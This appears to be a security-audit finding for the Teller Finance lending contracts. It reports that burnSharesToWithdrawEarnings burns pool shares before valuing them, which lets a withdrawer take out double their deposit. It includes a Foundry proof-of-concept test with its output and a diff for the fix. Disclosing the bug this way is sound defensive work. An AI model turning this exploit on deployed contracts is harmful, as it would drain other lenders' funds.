Fun Blonde Chicken

high

# Burning shares token before calculating in `burnSharesToWithdrawEarnings()`  causing error result

## Summary
Burning shares token before calculating in `burnSharesToWithdrawEarnings()`  causing error result 
## Vulnerability Detail
```javascript
function burnSharesToWithdrawEarnings(
        uint256 _amountPoolSharesTokens,
        address _recipient
    ) external returns (uint256) {
       

        
@>        poolSharesToken.burn(msg.sender, _amountPoolSharesTokens);

@>        uint256 principalTokenValueToWithdraw = _valueOfUnderlying(
            _amountPoolSharesTokens,
            sharesExchangeRateInverse()
        );

        totalPrincipalTokensWithdrawn += principalTokenValueToWithdraw;

        principalToken.transfer(_recipient, principalTokenValueToWithdraw);

        return principalTokenValueToWithdraw;
    }
```
Burning shares token before calculating, result in the totalSupply of poolSharesToken decrease, The user will get more principalToken than they should.
#### POC
- 1 Alice deposit 1e18 principalToken
- 2 Bob deposit 1e18 principalToken
- 3 Alice burn her share token, get 2e18  1e18 principalToken because of the error
```javascript
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {LenderCommitmentGroup_Smart} from "../../../../contracts/LenderCommitmentForwarder/extensions/LenderCommitmentGroup/LenderCommitmentGroup_Smart.sol";
import {TestERC20Token} from "../../../tokens/TestERC20Token.sol";
import "../../../../contracts/mock/WethMock.sol";
import "../../../../contracts/interfaces/IWETH.sol";

import {TellerV2SolMock} from "../../../../contracts/mock/TellerV2SolMock.sol";

import {UniswapV3PoolMock} from "../../../../contracts/mock/uniswap/UniswapV3PoolMock.sol";
import {UniswapV3FactoryMock} from "../../../../contracts/mock/uniswap/UniswapV3FactoryMock.sol";
import { PaymentType, PaymentCycleType } from "../../../../contracts/libraries/V2Calculations.sol";
import { LoanDetails, Payment, BidState , Bid, Terms } from "../../../../contracts/TellerV2Storage.sol";
import {console, Test} from  "lib/forge-std/src/Test.sol";


import { SmartCommitmentForwarder} from "../../../../contracts/LenderCommitmentForwarder/SmartCommitmentForwarder.sol";
import { TellerV2 } from "../../../../contracts/TellerV2.sol";
import { MarketRegistry } from "../../../../contracts/MarketRegistry.sol";
import { ReputationManager } from "../../../../contracts/ReputationManager.sol";
import "../../../../contracts/interfaces/IMarketRegistry.sol";
import "../../../../contracts/interfaces/IReputationManager.sol";
import {CollateralEscrowV1} from "../../../../contracts/escrow/CollateralEscrowV1.sol";
import  {UpgradeableBeacon} from  "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";
import {CollateralManager} from "../../../../contracts/CollateralManager.sol";
import { Collateral } from "../../../../contracts/interfaces/escrow/ICollateralEscrowV1.sol";
import { LenderManager } from "../../../../contracts/LenderManager.sol";
import { EscrowVault } from "../../../../contracts/EscrowVault.sol";
import {LenderCommitmentForwarder_G1} from "../../../../contracts/LenderCommitmentForwarder/LenderCommitmentForwarder_G1.sol";

import { User } from "../../../Test_Helpers.sol";

contract LenderCommitmentGroup_Smart_Real_Test is Test {
uint256 public immutable EXCHANGE_RATE_EXPANSION_FACTOR = 1e36;

    TellerV2User private marketOwner;
    TellerV2User private extensionContract;

    TellerV2User private borrower;
    TellerV2User private lender;
    TellerV2User private liquidator;

    TestERC20Token principalToken;
    TestERC20Token collateralToken;
    WethMock wethMock;
    address poolSharesToken;

    LenderCommitmentGroup_Smart lenderCommitmentGroupSmart;
    TellerV2 tellerV2;
    CollateralManager collateralManager;

    uint256 marketId1;
    
    //TellerV2SolMock _tellerV2;
    SmartCommitmentForwarder smartCommitmentForwarder;
    UniswapV3PoolMock _uniswapV3Pool;
    UniswapV3FactoryMock _uniswapV3Factory;

    function setUp() public {
        vm.warp(0);
        wethMock = new WethMock();
     
////////////////////////////////////////////////////////////////////////////////////
        // Deploy Escrow beacon
        CollateralEscrowV1 escrowImplementation = new CollateralEscrowV1();
        UpgradeableBeacon escrowBeacon = new UpgradeableBeacon(
            address(escrowImplementation)
        );

        // Deploy protocol
        tellerV2 = new TellerV2(address(0));

        // Deploy MarketRegistry & ReputationManager
        IMarketRegistry marketRegistry = IMarketRegistry(new MarketRegistry());
        IReputationManager reputationManager = IReputationManager(
            new ReputationManager()
        );
        reputationManager.initialize(address(tellerV2));

        // Deploy Collateral manager
        collateralManager = new CollateralManager();
        collateralManager.initialize(address(escrowBeacon), address(tellerV2));

        // Deploy Lender manager
        // MetaForwarder metaforwarder = new MetaForwarder();
        // metaforwarder.initialize();
        LenderManager lenderManager = new LenderManager((marketRegistry));
        lenderManager.initialize();
        lenderManager.transferOwnership(address(tellerV2));

        EscrowVault escrowVault = new EscrowVault();
        escrowVault.initialize();

        // Deploy LenderCommitmentForwarder
        LenderCommitmentForwarder_G1 lenderCommitmentForwarder = new LenderCommitmentForwarder_G1(
                address(tellerV2),
                address(marketRegistry)
            );

        // Initialize protocol
        tellerV2.initialize(
            50,
            address(marketRegistry),
            address(reputationManager),
            address(lenderCommitmentForwarder),
            address(collateralManager),
            address(lenderManager),
            address(escrowVault)
        );

       
        // Instantiate users & balances
        marketOwner = new TellerV2User(address(tellerV2), wethMock);
        borrower = new TellerV2User(address(tellerV2), wethMock);
        lender = new TellerV2User(address(tellerV2), wethMock);
        liquidator = new TellerV2User(address(tellerV2), wethMock);


    // Create a market
        marketId1 = marketOwner.createMarket(
            address(marketRegistry),
            86400,    // _paymentCycleDuration,
            600, //_paymentDefaultDuration
            86400, //_bidExpirationTime
            500, //_feePercent
            false, //_requireLenderAttestation
            false, //_requireBorrowerAttestation
            PaymentType.EMI,
            PaymentCycleType.Seconds,
            ""
        );
    
////////////////////////////////////////////////////////////////////////////////////////
    
        smartCommitmentForwarder = new SmartCommitmentForwarder(address(tellerV2), address(marketRegistry));
        _uniswapV3Pool = new UniswapV3PoolMock();

        _uniswapV3Factory = new UniswapV3FactoryMock();
        _uniswapV3Factory.setPoolMock(address(_uniswapV3Pool));
 

        principalToken = TestERC20Token(address(wethMock)); //new TestERC20Token("wrappedETH", "WETH", 1e24, 18);
        wethMock.deposit{value: 1e24}();

        collateralToken = new TestERC20Token("PEPE", "pepe", 1e24, 18);

        principalToken.transfer(address(lender), 1e18);
        collateralToken.transfer(address(borrower), 1e18);


        _uniswapV3Pool.set_mockToken0(address(principalToken));
        _uniswapV3Pool.set_mockToken1(address(collateralToken));

        lenderCommitmentGroupSmart = new LenderCommitmentGroup_Smart(
            address(tellerV2),
            address(smartCommitmentForwarder),
            address(_uniswapV3Factory)
        );
    }

    function initialize_group_contract() public {
        address _principalTokenAddress = address(principalToken);
        address _collateralTokenAddress = address(collateralToken);
        uint32 _maxLoanDuration = 5000000;
        uint16 _minInterestRate = 100;
        uint16 _maxInterestRate = 800;
        uint16 _liquidityThresholdPercent = 10000;
        uint16 _loanToValuePercent = 10000;
        uint24 _uniswapPoolFee = 3000;
        uint32 _twapInterval = 5;
        
        //set trust
        vm.prank(address(marketOwner));
        tellerV2.setTrustedMarketForwarder(marketId1, address(smartCommitmentForwarder));
        
        poolSharesToken = lenderCommitmentGroupSmart.initialize(
            _principalTokenAddress,
            _collateralTokenAddress,
            marketId1,
            _maxLoanDuration,
            _minInterestRate,
            _maxInterestRate,
            _liquidityThresholdPercent,
            _loanToValuePercent,
            _uniswapPoolFee,
            _twapInterval
        );

    }
  
      
      function test_BurningBeforeCalculating() public{
        initialize_group_contract();

       TellerV2User alice = new TellerV2User(address(tellerV2), wethMock);
       TellerV2User bob = new TellerV2User(address(tellerV2), wethMock);
 
        principalToken.transfer(address(alice), 1e18);
        principalToken.transfer(address(bob), 1e18);


         //lender deposit principal token in pool
        vm.startPrank(address(alice)); 
        principalToken.approve(address(lenderCommitmentGroupSmart), 1e18);
        lenderCommitmentGroupSmart.addPrincipalToCommitmentGroup(1e18, address(alice));
        vm.stopPrank();

        vm.startPrank(address(bob)); 
        principalToken.approve(address(lenderCommitmentGroupSmart), 1e18);
        lenderCommitmentGroupSmart.addPrincipalToCommitmentGroup(1e18, address(bob));
        vm.stopPrank();

        assertEq(IERC20(poolSharesToken).balanceOf(address(alice)), 1e18 );
        assertEq(IERC20(poolSharesToken).balanceOf(address(bob)), 1e18 );


        vm.startPrank(address(alice));
        IERC20(poolSharesToken).approve(address(lenderCommitmentGroupSmart), 1e18);
        lenderCommitmentGroupSmart.burnSharesToWithdrawEarnings(1e18, address(alice));
        vm.stopPrank();
        
        console.log("alice's principalToken balance is  ",IERC20(principalToken).balanceOf(address(alice)) );
        assertEq(IERC20(principalToken).balanceOf(address(alice)), 1e18 );
         

      }

}

contract TellerV2User is User {
    WethMock public immutable wethMock;

    constructor(address _tellerV2, WethMock _wethMock) User(_tellerV2) {
        wethMock = _wethMock;
    }

    function depositToWeth(uint256 amount) public {
        wethMock.deposit{ value: amount }();
    }
}

```
Create a new file named LenderCommitmentGroup_Smart_BurningBeforeCalculating.sol with code above in the fold `./packages/contracts/tests/LenderCommitmentForwarder/extensions/SmartCommitments`, Then run `forge test --mt test_BurningBeforeCalculating -vv` in terminal. you will get:
```bash
[FAIL. Reason: assertion failed: 2000000000000000000 != 1000000000000000000] test_BurningBeforeCalculating() (gas: 3029907)
Logs:
  alice's principalToken balance is   2000000000000000000

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.54ms (813.83Âµs CPU time)

Ran 1 test suite in 157.27ms (3.54ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
```

## Impact
some user loss funds. some user get more funds.
## Code Snippet
https://github.com/sherlock-audit/2024-04-teller-finance/blob/defe55469a2576735af67483acf31d623e13592d/teller-protocol-v2-audit-2024/packages/contracts/contracts/LenderCommitmentForwarder/extensions/LenderCommitmentGroup/LenderCommitmentGroup_Smart.sol#L396
## Tool used

Manual Review

## Recommendation
```diff
function burnSharesToWithdrawEarnings(
        uint256 _amountPoolSharesTokens,
        address _recipient
    ) external returns (uint256) {
       

        
-        poolSharesToken.burn(msg.sender, _amountPoolSharesTokens);

        uint256 principalTokenValueToWithdraw = _valueOfUnderlying(
            _amountPoolSharesTokens,
            sharesExchangeRateInverse()
        );
+       poolSharesToken.burn(msg.sender, _amountPoolSharesTokens);
        totalPrincipalTokensWithdrawn += principalTokenValueToWithdraw;

        principalToken.transfer(_recipient, principalTokenValueToWithdraw);

        return principalTokenValueToWithdraw;
    }
```
